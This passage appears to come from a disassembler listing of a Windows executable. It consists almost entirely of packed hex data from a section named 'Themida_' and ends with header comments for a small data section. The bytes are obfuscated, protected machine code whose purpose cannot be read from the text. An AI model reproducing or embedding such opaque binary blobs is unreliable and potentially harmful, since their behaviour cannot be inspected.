52000000h, 0B96058F8h, 236D3AE9h, 44BB6660h dd 0DCE1B8DAh, 61615FB3h, 2820Fh, 0D98B0000h, 0DC27DCBEh dd 0EE93Dh, 0BB450000h, 0EB34A301h, 0FF56CE85h, 0F9D2386h dd 0D9EB8166h, 850F6019h, 6, 8A0Fh, 66610000h, 0B4BED38Bh dd 605A0929h, 0BF6660F5h, 0F7BB1EC6h, 6151165Fh, 1800F61h dd 0FC000000h, 74E78166h, 0C7F681B5h, 66521A64h, 0E609E381h dd 5850Fh, 0F0BB0000h, 661C96AEh, 0E8EBCDBAh, 13h, 4AC0FE78h dd 3FC0F946h, 0EA890D1Ah, 3F8A8A07h, 0F5A73E4h, 815ACAB7h dd 13B281E0h, 98C0F5Bh, 0F000000h, 389h, 0D98B6600h, 7E9h dd 8E38EF00h, 24CBB0BBh, 0FE9h, 8DC89C00h, 0FDE634F0h dd 6C48EE7Ah, 0E298AD65h, 0A7E88166h, 6830F78h, 81000000h dd 9EEA51EFh, 6E877h, 85B10000h, 0FBBDF06Ch, 3830Fh, 0B70F0000h dd 81665EF6h, 0F5AD16D8h, 5830Fh, 81660000h, 0B6C4FBC0h dd 6E973h, 3D720000h, 0DD662223h, 0EE9h, 709FF300h, 0F71FE784h dd 0BDF8B1CAh, 0B0E7E433h, 0F2D98131h, 605A9AA4h, 12E9h dd 4C81D00h, 20A38DCDh, 0BD69F57Bh, 8809DFAh, 0FCE9C147h dd 0BA5B5261h, 770CE9FFh, 0E9F38B66h, 13h, 5693C59Fh, 9895E7AAh dd 0AF677B7Ah, 30F16BEEh, 0E90D58BFh, 6, 20796929h, 66536D71h dd 0F5BCE8Bh, 0E83h, 6E85300h, 0AB000000h, 4BF6804Bh, 8B5B586Dh dd 8B6657C8h, 0CE85EC6h, 5F000000h, 7EC8575Fh, 7AC2B5C2h dd 5F06285Dh, 0F88B3AB1h, 6E9h, 0E4529300h, 0F9BE7C24h dd 0F0D68166h, 10820FBEh, 0E9000000h, 0Bh, 280DD3B2h, 38723A16h dd 509DCABBh, 5AFE8B66h, 0E26DD381h, 8B0F22D5h, 5, 3874B6BFh dd 10E93Eh, 767B0000h, 97FC0ADEh, 7BC0D544h, 40CBAC55h dd 0A7B01D8Fh, 0F8DE8B66h, 0D8BF0F60h, 0C0B96661h, 0DEDA81CDh dd 6631B2BBh, 81A165BBh, 936C0F0h, 0DE9FC48h, 0F2000000h dd 3F02371Dh, 0C555AA2Ch, 3D0CAD91h, 0F381DF8Bh, 7477C521h dd 9E8h, 41D34600h, 0B8E717ACh, 81666F08h, 593141EFh, 0B70F17B1h dd 34BEBBD2h, 0F88B15D0h, 9E96060h, 98000000h, 0D07FA7B3h dd 0EBBDE01Bh, 61D1B70Fh, 5800Fh, 4FBF0000h, 6119710Fh dd 0D8A0Fh, 81600000h, 339D2BD6h, 0D081667Eh, 81613BC2h dd 22E548E6h, 6E826h, 0E0DC0000h, 9B438974h, 58A6E880h dd 0B820Fh, 850F0000h, 5, 382270BAh, 0DE8B6678h, 0FC1B70Fh dd 68Eh, 94F18100h, 0F461644h, 38Fh, 0E1E38000h, 66C9B70Fh dd 0F83636BBh, 0EE9E0B3h, 37000000h, 0DFF4352Eh, 73944E60h dd 621D7F0Ah, 8B0F37h, 0F000000h, 585h, 0CF01BB00h, 66F81694h dd 0F89A1CBBh, 0E081C78Bh, 3E73F134h, 0BA66F960h, 8B618ABEh dd 0CEBF0FD6h, 28F0Fh, 0E28A0000h, 0A8F0Fh, 8D0F0000h dd 4, 8635B866h, 0F88BBFB3h, 8BC78B66h, 0D78B66F1h, 11E8h dd 0DA237500h, 685E42BFh, 68EFC268h, 2CC19C3h, 860F6F36h dd 13h, 0DE8h, 3814B700h, 0E0DA5A7Dh, 0FC9EE942h, 5E5984ABh dd 98A0Fh, 810F0000h, 3, 50F2BF0Fh, 5880Fh, 71B90000h dd 5B4C6024h, 0E9D7B70Fh, 14h, 70A86539h, 8C3C4B17h, 593F954Ch dd 0EB96DDD9h, 6EF41E8Fh, 8B665F53h, 0C840FCEh, 60000000h dd 0E67ABF66h, 338AE181h, 8B613154h, 8B66F8F3h, 66D68BF7h dd 9526C381h, 38B0Fh, 8B660000h, 0EB81F5D0h, 65F332FFh dd 8E9DA8Bh, 76000000h, 0EA337B36h, 667C1DA9h, 0BA8D1BBAh dd 51CBF543h, 12E9FCh, 0F3EA0000h, 1DD919D6h, 63A9E86Ch dd 0F4191B87h, 346E2C83h, 13E8h, 641EFF00h, 5A55F176h dd 0A412AB42h, 0EDBE148Dh, 4AB636FBh, 8E9h, 0B261F500h dd 5E123514h, 0F515838h, 682h, 830F00h, 59000000h, 8166C38Bh dd 51F90FCEh, 8B595BB1h, 66C38BC6h, 6790E181h, 3870Fh dd 8B660000h, 605356CFh, 0F595861h, 686h, 46D78100h, 0F3B000Eh dd 128Fh, 0DE900h, 0FF890000h, 1F85A213h, 0D9F92145h, 0E9246ABDh dd 0Ch, 0E98CC7EFh, 0F8A6EE70h, 5965FD8h, 8166E78Ah, 0E93872CEh dd 10h, 0A24171ACh, 0B88320DBh, 5C0BAE34h, 9F078C0h, 0B9DFBF0Fh dd 3A09F46Dh, 599273B8h, 47BA664Fh, 0EE827h, 8C9E0000h dd 9575616h, 0E68593A2h, 4E8E15ECh, 0DE85Eh, 0F4630000h dd 5DD9D91Dh, 12096745h, 0E88DCECAh, 0Ch, 41B011A0h, 77DF2173h dd 82F3D63Dh, 5BF08B66h, 0E880F5Ah, 0E9000000h, 9, 2EE5464h dd 1BC8EA10h, 7E978h, 66450000h, 0BD08A6FEh, 0FD5B303h dd 589h, 0FA9EBB00h, 0B70F4DADh, 0C5B966CAh, 0D98B66EEh dd 0EC17E281h, 2ABF5EF8h, 66699386h, 860FF38Bh, 2, 0BF0FDE8Ah dd 0FC5B7DFh, 589h, 0E6FFBE00h, 0BF0F3FD3h, 0AE960D7h dd 0FD000000h, 0C8C66AC7h, 6DA8B807h, 38E0F44h, 66000000h dd 6661D98Bh, 681FC181h, 0E8D4D380h, 0Dh, 0F74023FBh, 0CD8E1285h dd 1486E67Fh, 0CBA5BFB9h, 0E95B3A11h, 0Fh, 84A1AEAh, 47BEAEB1h dd 5462A8E7h, 0F9EBB5Ch, 1589h, 0DE800h, 0BD760000h, 1C861ED1h dd 2625A6A5h, 51E91BF7h, 0E9F9595Eh, 10h, 0EB7E837Eh, 0BAE7F977h dd 17F67467h, 0C0B43181h, 0AE8FCh, 0AE500000h, 3EFF7E2Fh dd 0ED066FD7h, 58F9BF0Fh, 0D85A57BEh, 0BF0F6018h, 6141B6D0h dd 0FC88B66h, 158Eh, 10E900h, 0F1D40000h, 0A1CBDBABh, 738C7191h dd 8689F182h, 81660A05h, 0BBF681EAh, 0D1D278Fh, 0AE8C28Bh dd 3A000000h, 0ACC090EFh, 0E2E6E384h, 0D6816681h, 0B0581FAAh dd 5753503Eh, 665F5958h, 10CCE881h, 0B86696B7h, 80FC4889h dd 8F0F36C2h, 4, 3987BA66h, 0F1816660h, 12E9A602h, 4F000000h dd 46EF406Bh, 0A0A40774h, 4BB56504h, 0EBFBF09Ah, 0F536172h dd 8Ah, 0E8F55900h, 8, 617D49A1h, 1F0848AAh, 5FF08B66h dd 9E9FCh, 16F90000h, 0EECFACD9h, 0BF3D054Bh, 3A83AEC2h dd 74CEBA66h, 0DE8h, 0A9AA500h, 771B9590h, 0D9BFB729h dd 8158968Bh, 5D8CF0F6h, 3830F4Bh, 66000000h, 850FCF8Bh dd 4, 0D75BBB66h, 97DF8166h, 0F78B66AAh, 0CE9h, 5CA0CC00h dd 0A870D3C7h, 0DE9EFB55h, 666051A2h, 61E2DABBh, 0CF8AF55Ah dd 5E9h, 1BAEC400h, 86B86996h, 0F508BEB3h, 8B0FCE8Ah, 0Ch dd 6860Fh, 840F0000h, 0 dd 0EDDCB8h, 8B66F815h, 12E8F1h, 0E9C50000h, 3A754D3Fh dd 0CB8596DFh, 0ADA61D1Bh, 0A9D0DD9Bh, 1800Fh, 5EF80000h dd 1850Fh, 8BF80000h, 32BF66F1h, 69B966BCh, 0ABC380D4h dd 41F08166h, 0F38A535Dh, 0DF8B6659h, 0D28BB966h, 51DAB70Fh dd 0FE960h, 198B0000h, 0A52E6744h, 4C2A7E0h, 0DF4164FFh dd 0EE857h, 1CED0000h, 965903Ah, 9D24F3A0h, 576C929Ah dd 0FC5F6159h, 3842BF66h, 817BE580h, 0A95E2DC9h, 19EF8023h dd 0D78B66F5h, 8CBBDB81h, 816666F2h, 0E91D6AD8h, 13h, 0ADD52B31h dd 851D88h, 0D0431011h, 31B26CDFh, 0E9991B07h, 11h, 3BEF6BECh dd 0B59AFEF2h, 95FCD08Ah, 56FA2CAFh, 0F595783h, 480h, 0EBBE6600h dd 0D8B70F42h, 0D4A014BAh, 0C68B665Eh, 0F2D28160h, 0F1B04E7h dd 482h, 0BEBA6600h, 0F506112h, 480h, 0C9BB6600h, 0FF55E63h dd 1580h, 10E900h, 91D60000h, 213C4ED8h, 24D7A52h, 0B816666Dh dd 12B733D1h, 15890FFCh, 0E8000000h, 0Ah, 58FA36E7h, 804C49BEh dd 8166EE21h, 5BFB2DC6h, 8166C28Bh, 0FF567D7h, 583h, 0D9816600h dd 0BB66DDBCh, 65BB8CE2h, 0FC0149E7h, 8E9h, 0C4405A00h dd 82A327CEh, 8BE28A41h, 34C480FBh, 0CE9h, 26FEE600h, 8F78355Ah dd 0C4045145h, 0CE892h, 3A0E0000h, 35747CBAh, 0DB1B7972h dd 0E8600D1Bh, 0Bh, 0DBF59D61h, 0E4244C2Dh, 59B112C6h dd 6113C680h, 0EA81665Ah, 0BE9ABCDh, 8B000000h, 0E676495h dd 3C8D3CDAh, 880FC46Eh, 0 dd 46B5DF8Bh, 5596F181h, 0E950632Eh, 0Dh, 6CDA9E1Fh, 3CA2E8DFh dd 3E77CA35h, 0B9665A1Fh, 0CE8E5E6h, 0C5000000h, 82FF728Bh dd 0CED6CE05h, 5A77AC21h, 0C8A0Fh, 8B0F0000h, 6, 8F0Fh dd 0BF660000h, 79B42040h, 0F6001B7h, 1182h, 0CE900h, 99100000h dd 0A91CAABDh, 95FA85CFh, 0BB66BC3Dh, 0F561402Ah, 0DE9F5h dd 46210000h, 8F149CC6h, 4D34EDA1h, 801A5D0Ch, 0B1B539C1h dd 9E9h, 0F823B300h, 0DB4349AFh, 0EEBFF963h, 663E15BAh dd 0F9897AB9h, 75B6EF8Ah, 59C38B51h, 0EC1E4FBEh, 60C68A4Dh dd 0ADC9BF66h, 14E9h, 94A32100h, 2BBFB936h, 2C84572Bh dd 8F978D79h, 3DA0730Ah, 0C6806119h, 88D0F56h, 0F000000h dd 284h, 0E9C68B00h, 6, 0B43B5901h, 2BB68712h, 5E9h, 75522A00h dd 0B70FCFE9h, 816656C0h, 5B017CE1h, 80CBB70Fh, 0DF8B96F1h dd 0A239B966h, 0F8D68B66h, 0FE9h, 164BE100h, 0DFACD4Bh dd 71FFB7E9h, 0CD6F04B2h, 0CABF0FF9h, 0AE9h, 0EFFE4100h dd 6E86D014h, 80F4EE2Eh, 8CB8DEE2h, 665FDB4Fh, 0A291F181h dd 2684E681h, 4EBB3F5Dh, 8A0CDDE6h, 0F0D681E6h, 8B378839h dd 0F18B66D1h, 0FCCB8B66h, 0F46CD80h, 860FD1BFh, 6, 0B880F281h dd 0C88B0F19h, 88D0FF8h, 52000000h, 8A0Fh, 0B05F0000h dd 81666051h, 0E9C688CEh, 0Ch, 7D4815FEh, 0FAB15CAAh, 0F93FF519h dd 8E961h, 0D7C60000h, 88571F87h, 0CC808FC7h, 78C0F27h dd 60000000h, 0B70FD38Bh, 0B15161C1h, 0C88A5B34h, 8C0Fh dd 12E80000h, 4C000000h, 6F139AC4h, 0DBD7A22h, 0A65B4762h dd 5802E683h, 0BB665FF6h, 0FA8B0A10h, 40DE8166h, 68F0FA5h dd 81000000h, 10E305C8h, 0FFA8B44h, 28Dh, 60C58A00h, 0CE81D78Bh dd 4F4AB9F9h, 0F1816661h, 0BF66F0A2h, 81660CD4h, 601A73C1h dd 81CA8B60h, 0D47A89C9h, 1B06141h, 8E961h, 0D9C00000h dd 0F21421A6h, 8B664731h, 7E9CFh, 92A00000h, 19D7180Ah dd 0FE960A8h, 5F000000h, 0DA344498h, 8DC89CBAh, 0FDE634F0h dd 850FEE7Ah, 0 dd 0AE961h, 334F0000h, 37861B7Eh, 0BC8AC945h, 58D1B966h dd 90EAFBB9h, 8BCA8B49h, 8BC28BDEh, 87B866FAh, 0B966FCB4h dd 0DE9392Ch, 0AD000000h, 0AEA15E2Dh, 0DDAE2E2Eh, 474BC085h dd 0D358ACBFh, 0EE925h, 5A660000h, 451232F5h, 98F245A6h dd 0E6C3BF61h, 0FD1BF0Fh, 0A8Dh, 5E900h, 7BFB0000h, 52DD6106h dd 12880Fh, 0CE80000h, 8A000000h, 0B3799AEAh, 5DF92DB6h dd 5BB95DA5h, 0CE13BE59h, 816602A4h, 667287D1h, 889CE681h dd 9E8h, 0C9F42F00h, 0F2D875BBh, 0B70F3BCDh, 0BE665EC3h dd 10BBA233h, 0E96932F6h, 13h, 5E6A0Fh, 0D30D9430h, 10296676h dd 0CDB944CBh, 0E928F4F0h, 7, 0F6781626h, 0BBE66C73h, 0E1B1AB8h dd 88A0Fh, 850F0000h, 2, 0BA6677B3h, 6E926E8h, 37000000h dd 0F710E506h, 0FEBF0F55h, 20860FF8h, 0F000000h, 1A84h dd 14E800h, 20950000h, 7BAA327Dh, 0B011A037h, 0DF217341h dd 0F3D63D77h, 0B85F7182h, 5CE6350Eh, 10E8h, 1918EC00h dd 0DEBB9C7Bh, 6376F6B5h, 0A740732Ah, 5BBF6662h, 8E95E5Dh dd 33000000h, 96D0C452h, 0F80A040h, 108Fh, 0BE900h, 67D20000h dd 0BD378EDCh, 0FB3B6628h, 5EBE6674h, 0C060BACFh, 860F2E73h dd 6, 0B5616060h, 0FE9614Ah, 64000000h, 0EEFEDE02h, 1080D584h dd 7813BD18h, 9E939CDh, 0 dd 9040A6C6h, 0CE248E0Bh, 2890F52h, 60000000h, 850F5861h dd 1, 95EA81F8h, 0F438CC9h, 0D680CEB7h, 12E9A5h, 659C0000h dd 7ACC519Dh, 0AF49A07h, 0FAD7A3AAh, 0BFCE4CCFh, 68EF81F9h dd 0BB0ED4A2h, 3B8797C7h, 37B96660h, 11E9613Eh, 4A000000h dd 8E3F942Ah, 76EF70D0h, 2A458E1Ah, 930C5B65h, 6607E480h dd 10E9D38Bh, 2E000000h, 17038C21h, 20AF1964h, 0C09A3B17h dd 510598D6h, 0FE9h, 1985CC00h, 160696AEh, 9BE51318h, 892C7495h dd 6E95Eh, 67F50000h, 0FF64AD39h, 0DC80FE8Bh, 0F0816012h dd 0C7B8529h, 4CDEBA66h, 0FCF08B61h, 0F56FBB1h, 689h, 820F00h dd 5F000000h, 52D98BF8h, 5856F180h, 840EBAF8h, 66560F52h dd 0C900F081h, 0DBBF0F58h, 14E8h, 1FCD2E00h, 9D52C21Dh dd 0A31798A8h, 396DE772h, 887CCE4Bh, 25DF8172h, 5F299D65h dd 32Ch dup(0AD3A7405h), 91E75D05h, 2 dup(91E75DDBh), 75E1EADBh dd 29Dh dup(75E1EA06h), 8883EA06h, 9Fh dup(8883B5A8h) dd 185h dup(7483143h), 0CCCCCC43h, 0C0Dh dup(0CCCCCCCCh) dd 146h dup(0) Themida_ ends ; Section 5. (virtual address 001BB000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 001BB000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 5BB000h align 2000h _idata2 ends end start